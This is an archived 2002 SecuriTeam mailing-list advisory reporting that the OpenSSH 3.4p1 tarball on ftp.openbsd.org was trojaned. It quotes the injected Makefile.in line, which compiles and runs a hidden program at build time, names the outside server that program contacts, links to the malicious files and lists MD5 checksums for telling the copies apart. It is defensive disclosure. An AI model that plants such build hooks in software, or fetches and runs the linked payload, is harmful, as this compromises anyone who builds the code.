

# [UNIX] OpenSSH Trojaned (Version 3.4p1)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0003.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/01/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Thu, 1 Aug 2002 12:04:09 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

OpenSSH Trojaned (Version 3.4p1)

---

## SUMMARY

A Trojaned version of OpenSSH package has been found to reside on ftp.openbsd.org's server. The Trojaned version allows remote attackers to completely compromise the security of the server running the Trojaned copy.

## DETAILS

The following OpenSSH package found on ftp.openbsd.org (and probably all its mirrors now) has been found to beTrojaned:

<ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz>

The OpenBSD people have been informed about it (via email to [deraadt@openbsd.org](mailto:deraadt@openbsd.org) and via [irc.openprojects.org/#openbsd](irc://irc.openprojects.org/#openbsd))

The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:

```
all: libopenbsd-compat.a
```

```
+ @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh
```

```
/bf-test.out &
```

bf-test.c[1] is nothing more than a wrapper that generates a shell-script[2] that compiles itself and tries to connect to an server

Securiteam: [UNIX] OpenSSH Trojaned (Version 3.4p1)

running on 203.62.158.32:6667 (web.snsnsonline.net).

The following are links to sources of the malicious files:

[1] <<http://www.mavetju.org/~edwin/bf-test.c>>

<http://www.mavetju.org/~edwin/bf-test.c>

[2] <<http://www.mavetju.org/~edwin/bf-output.sh>>

<http://www.mavetju.org/~edwin/bf-output.sh>

This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD ports system:

MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8

This is the md5 checksum of the Trojaned openssh-3.4p1.tar.gz:

MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57

ADDITIONAL INFORMATION

The information has been provided by <<mailto:edwin@mavetju.org>> Edwin Groothuis.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[TOOL] Nmap Version 3.0 Released"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)